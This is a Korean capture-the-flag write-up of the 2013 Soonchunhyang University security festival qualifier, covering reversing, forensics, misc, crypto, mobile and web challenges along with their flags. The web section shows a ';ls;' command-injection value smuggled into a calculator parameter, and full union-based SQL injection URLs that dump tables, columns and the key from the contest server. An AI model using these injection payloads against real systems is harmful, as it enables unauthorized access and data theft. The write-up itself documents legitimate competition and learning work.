2013 순천향대학교정보보호페스티벌 예선풀이 이름 : 현성원학교 : 서울대원고등학교아이디 : sweetchip 닉네임 : 맛있는치킨파티점수 : 1320점
대회순위표
[Bianry 100] 문제바이너리한개가주어졌다. 이문제는처음힌트가나오기전까지몰랐는데힌트가나오고 나서감잡고풀이를시작했다. 처음윈 8 에선실행했더니크래시가터지고가상 XP 에서돌려보니 그곳에서도역시크래시가터졌다. 그래서결국윈 7 에서하기로했다. 힌트로 Hidden 관련이나오게되었는데숨겨진창이있다는것으로판단해서 mfc100d.dll 모듈에 서 ShowWindows 에 BP 를설정했다. 그리고 f9 를눌러진행하면 Showwindow 에 SW_HIDE 속성 과함께걸려있는것을볼수있다. 그렇다면이속성이아닌다른속성으로바꿔주면된다. SW_SHOW 속성인 0x5 로바꿔주고 f9 를 눌러서진행한다.
진행하면이렇게 secret 버튼이생기는데버튼을클릭하면다음과같이나온다. 이곳에숫자를쓰면 Wrong! 이뜨는데, 대회당시아마이부분이킷값이있는부분이아닐까라 는생각이들고저부분을찾아헤맸다. Wrong! 기준으로주변을찾았는데그중한곳을찾았다. 012C94BA E8 7682FFFF CALL c4334306.012c1735 012C94BF 8B45 EC MOV EAX,DWORD PTR SS:[EBP-14] 012C94C2 8B4D D4 MOV ECX,DWORD PTR SS:[EBP-2C] 012C94C5 3388 A8010000 XOR ECX,DWORD PTR DS:[EAX+1A8] ; input xor 0x174e 012C94CB 894D C8 MOV DWORD PTR SS:[EBP-38],ECX 012C94CE 8B45 C8 MOV EAX,DWORD PTR SS:[EBP-38] 012C94D1 C1E0 07 SHL EAX,7 ; input shift 7 012C94D4 8945 E0 MOV DWORD PTR SS:[EBP-20],EAX 012C94D7 817D E0 000D070>CMP DWORD PTR SS:[EBP-20],70D00 ; is 0x70d00 012C94DE 75 23 JNZ SHORT c4334306.012c9503 간략하게나타내보면입력받은값과 0x174e를 XOR연산시키고그값에 7만큼쉬프트연산을 한다. 만약그값이 0x70d00 라면 >>MD5<< 를띄워준다. 실제키는이반대로구하면되는데 거꾸로연산하면 6484가나온다. 이값을 md5 하면된다. Flag : cfa45151ccad6bf11ea146ed563f2119
[Forensic 100] GPX 파일은 GPS 경로를시간순으로담아둔파일이다. 이것을 GPS Route Editor 로열고로딩시 키면아래와같이나오게된다. 집에가기전마지막으로경유한장소는공과대학이고이동수단과처음기록을시작한시각은 GPX 파일안에태그형식으로적혀있다. Flag : 09:17:34_CYCLING_tnscjsgideogkrryrhdrhkeogkr
[Forensic 200] 개인적으로가장어려운문제였다... 게다가힌트도많이주어졌는데가장많이소비한끝에문제 를풀수있었다. 디스크이미지파일이주어졌고 FTK Manager 포렌식툴로열수있다. 파일을열고네이트온받은파일안의그림파일들을싹다긁어온다. 처음힌트중기프티콘의힌트로 gifticon 을생각했고 gif 파일을가져오면된다는추측 [?] 으로가져오게됬는데 gif 파일내용은크레용팝이었다. 그래서스테가노그래피로도시도해보는등많은시도를했지만성과가없었다. 그러자곧새벽의포렌식 200의쏟아지는힌트를조합해서 EOF 라는힌트가나왔다. Gif 구조에대해잘몰라서다른방법을생각해보던중구글이미지검색을사용하기로했다. 운이정말좋게도문제출제떄사용된원본으로추정되는그림을구할수있었는데그그림과 diffing 해본결과한파일에두개의헤더가붙어져있는것을볼수있었다. RIFF 라는새로운헤더가존재하는데 webpvp8 과검색해보니이미지파일이라고한다. 구글에서만든것이라고하는것같기도한다. 파일을떼어냈더니약 7KB이고 webp로확장자를바꿔힌트에나온크롬으로실행했더니깨진파일으로나와운영진분께잘못된것이아니냐고물어봤었는데, 아니라고하셔서복구를하기로했다. 복구는같은포멧의샘플파일을구해서비교를하면서복구했다.
위두부분이정상적으로고쳐진헤더이다. 빨간색부분은대문자로바꾼것이고, 파란색부분은 크기를처음 gif 파일의크기를그대로붙여넣은것이다. 복구를성공하고원본이미지가출력되 었다. Flag : Cr@yon_PoP_pOp_PoP
[Misc 100] 거대한 ppt 파일이주어졌다. 실행파일을찾으라는문제인데 ppt를열면프로그램이죽을정도로아름답게그림들이채워져있다. 잠시고민을해보고파일들을뒤져본끝에숨겨진파일이름은 application.exe 라는것을알수있엇고이것으로인증하니답이아니라고한다. 그래서실제로 exe 파일이존재할것같아서 ppt/embedding 파일을살펴봤지만, 모두크기도똑같아서바로구문해낼수없었는데, 간단한파일해시비교스크립트를작성해서풀기로했다. import glob import hashlib File_List = glob.glob('*.bin') def md5checksum(filepath): with open(filepath, 'rb') as fh: m = hashlib.md5() while True: data = fh.read(8192) if not data: break m.update(data) return m.hexdigest() if name == ' main ': a = md5checksum(file_list[0]) b = "" for i in File_List: print i b = md5checksum(i) if a!= b: print "WTF? "+i raw_input() oleobject2257.bin oleobject2258.bin oleobject2259.bin oleobject226.bin WTF? oleobject226.bin
실제로실행시켜보면 226.bin 파일이이전파일들의해시값과다른것을볼수있다. Hex editor 로실행파일 mz 매직넘버를찾은뒤파일을분리하고저장시킨다음실행한다. C:\Users\ 성원 >C:\Users\ 성원 \Downloads\ae1dd739df1f62afe5ae78cb1ff7cdeda00b4d5\pp t\embeddings\oleobject226.exe WoW~Sense!! Flag : WoW~Sense!!
[Misc 200] 바이너리하나가주어지고키를찾으라는문제이다. 처음엔파일확장자가뭔지몰라 hex editor 로살펴봤는데알고보니 TTF 트루타입글꼴이었다. 그래서이글꼴을설치하고문제를복사해서 붙여넣는데이상하게도어느글자가알파벳으로바뀌어있었다. 그래서글자표를살펴봤다. 첫번째출에 y 처럼바뀌어있는걸볼수있다. 가나다순으로바뀐글자들을하나하나붙이고글꼴을 yisf 로설정하면위와같이나오는데다시 맑은고딕같은일반으로바꿔보면한글로나온다
이문자를보면서상당히많은고민을하고재조합한끝에조선의 ~~ 힌트와함께세종대왕이 생각났고그것을생각해보며다시조합해보니태정태세... 조선왕조계보와비슷하게나왔다. 그래서태정태세문단세예성연중인명선광인효현숙경영정순헌철고순을입력하면위와같이나오게 된다. 당시인증서버가이상해서인지오류인지는모르겠지만인증이되다안되다했다. 그래서 여러경우의수를입력했엇는데플래그는아마위에서 X0 가빠진것으로기억된다... 오랜만에역사공부를다시했다. Flag : WtW_UR_G3n10us_0f_H1st0ry
[crypto 100] 웹사이트링크가하나주어졌다. 그중관련기사탭의외부기사중하나를살펴보면위에이상한문자열이있다. 그리고문제에서다름글자를볼수있다. Down fall = 몰락 Fall down = 약하다 Fair Play = 순천향대정보보호학과축구동아리 이것들을보아 playfair 를생각해볼수있고, 구글링을통해 playfair 이라는암호가있다는것을 알아냈다. 그래서 fairplay 를키값으로하고위문자열을복호화시키면키가출력된다. ( 키에서마 지막 x 를제거해야인중이된다 ) Flag : snsisawasteoflife
[crypto 200] 이문제는힌트가뜨고난다음에풀수있엇다. 일단 avi 파일이하나주어지고내용은요즘유행하는진격의거인애니메이션의오프닝동영상 이었다. 그리고간간히이상한글자들이나오는데의미를몰라못풀고있었다가 ip 라는힌트를 보고 이걸왜몰랏었지.. 라는충격을받았다. 영상에나온글자들 집중! 59 27 190 86 :7000 quiz 위문자를힌트에따라조합하면 59.27.190.86:7000/quiz 가되는데들어가면암호학 A 형이나오 면서진짜암호학과관련된단답형 10 문제들을풀수있다. [ 기회는단한번!] Flag : 답 10 개모두기억이안나네요... ㅠㅠ
[mobile 100] Apk 파일이하나주어졌다. 100 점이라어렵지않은것으로예상하고바로리소스로들어가서파 일들을뒤졋는데다음두파일이나왔다. Apk 는그림맞추기를하는게아닐까싶어그림판으로손수그림을맞춰봤다. 미술에소질이없어 키가부서진것처럼되긴했지만알아볼수는있을정도로복구했다!. Flag : mellow5
[Web 100] 웹주소 1 개가주어졌다. Post 형태로넘어가는계산기가있었다. 1 도넣고 2 도넣었지만실행이 되지않았는데여러시도를해보는도중특정문자를필터링하는걸발견했다. Post 로값을넘기면일정파라메터가각각 ;, $ 등을필터링시킨다. 이것을보고 command execution 취약점을공격해야한다는것을예상하고파라미터를조작시켰다. Plus 라디오버튼을클릭하고 Num1 파라미터에 ;ls; 를입력하고 num2 에는아무글자나입력한 다. 그리고 calc 를누르면 Result 에 Base64 로인코딩된문자열이출력된다 Calc Result : RjE0OQphCmhlbGxvCmluZGV4LnBocAppbmRleF8xMDlzLmxvZwo= F149 a hello index.php index_109s.log F149 파일을열면키가출력된다. Flag : Let's_go_GungJungWhaRo
[Web 200] 웹주소 1 개가주어졌다. 주소로접속해보면여러가지게시판이있는데간단하게파라미터를조 작시켜보면 sql injection 취약점이존재한다는것을알수있다. 게시판 num 파라미터에 union SQL Injection 코드를삽입한다 테이블추출 http://yisf.sch.ac.kr:7600/q2/view.php?no=0%20union%20select%201,2,(select%20distinct%20gro up_concat(table_name)%20from%20information_schema.tables%20where%201%20),4,5# 칼럼명추출 http://yisf.sch.ac.kr:7600/q2/view.php?no=0 union select 1,2,(select distinct group_concat(column_name) from information_schema.columns where TABLE_NAME="F149" ),4,5# 플래그추출 http://yisf.sch.ac.kr:7600/q2/view.php?no=0 union select 1,2,(select k3y from F149 where 1 ),4,5# Flag : DHEJFQKDL_SQL_1NJ3CT10N